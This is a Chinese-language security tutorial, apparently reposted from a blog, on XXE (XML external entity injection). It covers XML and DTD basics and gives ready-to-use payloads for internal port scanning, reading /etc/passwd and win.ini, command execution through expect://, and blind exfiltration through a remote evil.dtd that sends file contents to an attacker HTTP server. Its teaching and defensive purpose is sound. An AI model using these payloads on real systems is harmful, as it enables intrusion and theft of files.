自学内容网 自学内容网

2.5_XXE(XML外部实体注入)

  • XML简介


  1. XML:传输和存储数据的数据格式;

  2. XML 文档结构(组成):XML 声明,DTD 文档类型定义,ELEMENT 文档元素

    <!-- XML声明 --> 
    <?xml version="1.0" standalone="no" ?>  <!--xml文档属性--> <!--standalone="yes" 表示内部DTD,no表示外部DTD(默认)-->
    
    <!-- DTD(文档类型定义):定义元素属性和顺序 --> <!--DOCTYPE 定义标签-->  <!--ELEMENT 定义元素--> <!--ENTITY 定义实体-->
    <!DOCTYPE person [           <!--根元素(必须存在),自定义标签名(person)成对出现,且区分大小写-->
    <!ELEMENT person(name,age,country)> <!--声明person元素有3个元素-->
    <!ELEMENT name(#PCDATA)>    <!--声明name为"#PCDATA"类型--> <!--"#PCDATA"类型可被解析-->
    <!ELEMENT age(#CDATA)>    <!--声明age为"#CDATA"类型--> <!--"#CDATA"类型不可被解析-->
    <!ELEMENT country(#PCDATA)>    <!--声明country为"#PCDATA"类型-->
    <!ELEMENT sss ANY>    <!--ANY 表示可以包含任意元素-->
                            <!--重点: 参数实体 和 外部实体 (ENTITY)-->
    <!ENTITY % address SYSTEM "address.txt"><!--声明外部参数实体:声明实体内容在XML文档外--> <!--实体相当于常量,参数实体相当于变量-->
                                        <!--外部[参数]实体格式:<!ENTITY [%] 实体名称 SYSTEM/PUBLIC "外部DTD的资源地址">-->
                           <!--例:<!ENTITY % remote SYSTEM "http://121.40.24.5:8000/evil.dtd"> -->
                       
    <!ENTITY % name "小明">    <!--声明内部参数实体:声明实体内容("小明")在XML文档中-->  
                            <!--内部[参数]实体格式:<!ENTITY [%] 实体名称  "实体值">--> 
    ]>  
    
    <!--文档元素-->
    <person>
    <name>&name;</name>
    <age>1</age>
    <country>China</country>
    <sss>
        <name>&name;</name><!--sss接收"小明"-->
    </sss>
    </person>
  3. 外部引用支持的协议(通用:file,ftp,http

    PHPJAVA.NETlibxml2
    1. file
    2. ftp
    3. http
    4. php
    5. data
    6. glob
    7. phar
    8. compress.zlib
    9. compress.bzip2
    1. file
    2. ftp
    3. http
    4. jar
    5. https
    6. gopher
    7. netdoc
    8. mailto
    1. file
    2. ftp
    3. http
    4. https
    1. file
    2. ftp
    3. http

  • XXE简介


  1. XXE:外部实体注入漏洞。由于XML解析器允许外部实体的引用,导致攻击者可以对其进行攻击;

  2. 原理:XML解析器允许外部实体的引用;

  3. 危害(利用方式):
    1). 扫描内网端口(http);
    2). 攻击内网网站(http);
    3). 任意文件读取(file,php);
    4). 命令执行(expect);

  4. XXE 类型(分类)

    分类

    利用方式

    有回显

    直接利用即可

    <!--判断是否存在XXE漏洞,返回XXE则存在-->
    <?xml version = "1.0"?>
    <!DOCTYPE a [<!ENTITY b "XXE">]><c>&b;</c>
    
    
    
    <!--扫描内网端口IP-->
    <!--如果端口开放,服务器将返回相应的HTTP响应,否则可能超时或返回错误。-->
    <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    
    
    <!--攻击内网网站-->
    <!--如果内网中的 192.168.1.2 存在,并且 /admin 路径没有适当的访问控制,XXE攻击可能会成功访问该页面。-->
    <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "http://192.168.1.2/admin" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    
    
    
    
    <!--任意文件读取-->
    <!--file协议 查看文件-->
    <?xml version="1.0"?>
    <!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
    <a>&xxe;</a>
    
    <!--php协议 查看文件,并将其转换为Base64编码-->
    <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]>
    <root>
    <name>&xxe;</name>
    </root>
    
    
    
    
    <!--命令执行-->
    <?xml version ="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY xxe SYSTEM "expect://whoami">
    
    <x>&xxe;</x>
    
    无回显

    通过 DNSlog 检测,http 日志外带;

    <!--无回显DNSLOG检测-->
    <?xml version="1.0"?>
    <!DOCTYPE a [ 
    <!ENTITY % xxe  SYSTEM "http://johmvd.dnslog.cn" > 
    %xxe;
    ]>
    
    <!--无回显HTTP日志外带-->
    # VPS: 
    # 启动服务:python -m SimpleHTTPServer   或   python -m http.server
    # 上传evil.dtd,文件内容:
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
    <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.1.1:8000?p=%file;'>">
    
    # Brup payload:
    <!DOCTYPE convert [
    <!ENTITY % remote SYSTEM "http://192.168.1.1:8000/evil.dtd">
    
    %remote;
    %int;
    %send;
    ]>
  5. XXE防御方式:
    1). 禁用 外部实体(system,public);
    2). 过滤 用户输入;
    3). 升级 libxml 组件;

  6. 如何挖掘XXE漏洞:
    1).寻找能够识别 XML 语句的功能点,或是数据包类型是 application/xml 的;
         ①. 功能点提交的语句是 XML ;
         ②. 功能点提交的语句是 Json  ,但改为 XML 后可用的 ;

  7. XXE验证方式:
    1). 首先,判断目标是否接收 XML 类型数据,如果是 JSON 数据类型,可以将数据改为 XML 数据格式;
         ①. 例: burp抓包中包含 :username=admin $ pass=123456;   
         ②. 将其改为 <username>admin</username><pass>123456</pass>
    2). 其次,如果能够正常接收,则可以继续判断有无回显做进一步测试;

  8. XXE引用外部实体的关键字:system,public ;

  9. XXE利用的协议:fileftphttpphpdata等等;

  • 免责声明


  1. 本专栏内容仅供参考,不构成任何投资、学习或专业建议。读者在参考本专栏内容时,应结合自身实际情况,谨慎作出决策。

  2. 本专栏作者及发布平台尽力确保内容的准确性和可靠性,但无法保证内容的绝对正确。对于因使用本专栏内容而导致的任何损失,作者及发布平台概不负责。

  3. 本专栏部分内容来源于网络,版权归原作者所有。如有侵权,请及时联系我们,我们将尽快予以处理。

  4. 读者在阅读本专栏内容时,应遵守相关法律法规,不得将内容用于非法用途。如因读者行为导致不良后果,作者及发布平台不承担任何责任。

  5. 本免责声明适用于本专栏所有内容,包括文字、图片、音频、视频等。读者在阅读本专栏内容时,视为已接受本免责声明。

  6. 作者及发布平台保留对本免责声明的解释权和修改权,如有变更,将第一时间在本专栏页面进行公告。读者继续使用本专栏内容,视为已同意变更后的免责声明。

敬请广大读者谅解。如有疑问,请联系我们。谢谢!


原文地址:https://blog.csdn.net/m0_73983897/article/details/143673348

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!